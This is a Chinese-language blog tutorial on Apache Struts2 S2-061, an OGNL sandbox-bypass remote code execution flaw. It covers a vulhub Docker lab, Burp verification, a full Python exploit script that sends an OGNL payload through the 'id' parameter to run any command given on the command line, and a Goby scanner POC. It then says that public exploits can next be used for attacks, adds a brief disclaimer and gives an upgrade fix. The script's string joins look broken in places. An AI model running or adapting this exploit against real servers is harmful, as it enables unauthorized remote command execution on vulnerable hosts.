Struts2-061自动化脚本的编写与Goby POC编写

2022-02-28 14:02:40 浏览数 (1)

0x00:前言与简介

一、S2-061是对S2-059沙盒进行的绕过漏洞

二、“黑客”就通过构造恶意的 OGNL 表达式,引发 OGNL 表达式二次解析,最终造成远程代码执行的影响.

http://mpvideo.qpic.cn/0bf2imcisaae5yainvwterpviq6drfbqjcia.f10004.mp4?dis_k=ba33b2d0b7208eabba5058756ec6547a&dis_t=1646027851&vid=wxv_1649829526232694786&format_id=10004&support_redirect=0&mmversion=false

0x01:影响版本

Apache:Struts2 : 2.0.0 - 2.5.25

0x02:环境的搭建

采用的环境项目地址:

代码语言:javascript复制
https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

利用Docker进行快速的搭建

利用Burp请求验证漏洞

EXP源自网络:

代码语言:javascript复制
https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

漏洞验证完毕

变更请求方法

验证成功

0x03:Python 脚本的编写

构造一个requests的Get请求即可,最后在利用正则筛选出命令执行的结果.

完整代码如下

代码语言:javascript复制
#!/usr/bin/python3
 #author:Jaky
 #微信公众号:洛米唯熊

import requests,sys,re


if len(sys.argv)<3:
        print("[ ]Use: pyhton3 s2-061.py http://ip:port command")
        print("[ ]Explain: 洛米唯熊")
        print("[ ]============================================================")
        sys.exit()

def Jaky():
    payload="%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')).(#cmd={'" sys.argv[2] "'}).(#res=#exec.exec(#cmd))}"  
    url=sys.argv[1] "/index.action?id=" payload
    r=requests.get(url).text
    z=re.findall("a id=.*",r)
    print (str(z).replace("a id="",""))

if __name__ == '__main__':
Jaky()

效果图

0x04:Goby POC编写

一、Goby自带的poc开发界面

二、填写相应的信息

三、在测试界面填写入上面的Get成功的payload

响应测试填写入的是响应包,我们需要的是得到什么信息。我这里测试的命令是“ID”.所以我利用正则的匹配获取UID的信息。

四、环境测试

五、做扫描测试

六、接下来就可以利用公开的exp进行攻击了

(未授权网站禁止攻击,后果自负)

0x05:修复方案

及时更新Apache Struts框架版本:

代码语言:javascript复制
https://struts.apache.org/download.cgi#struts2526

0 人点赞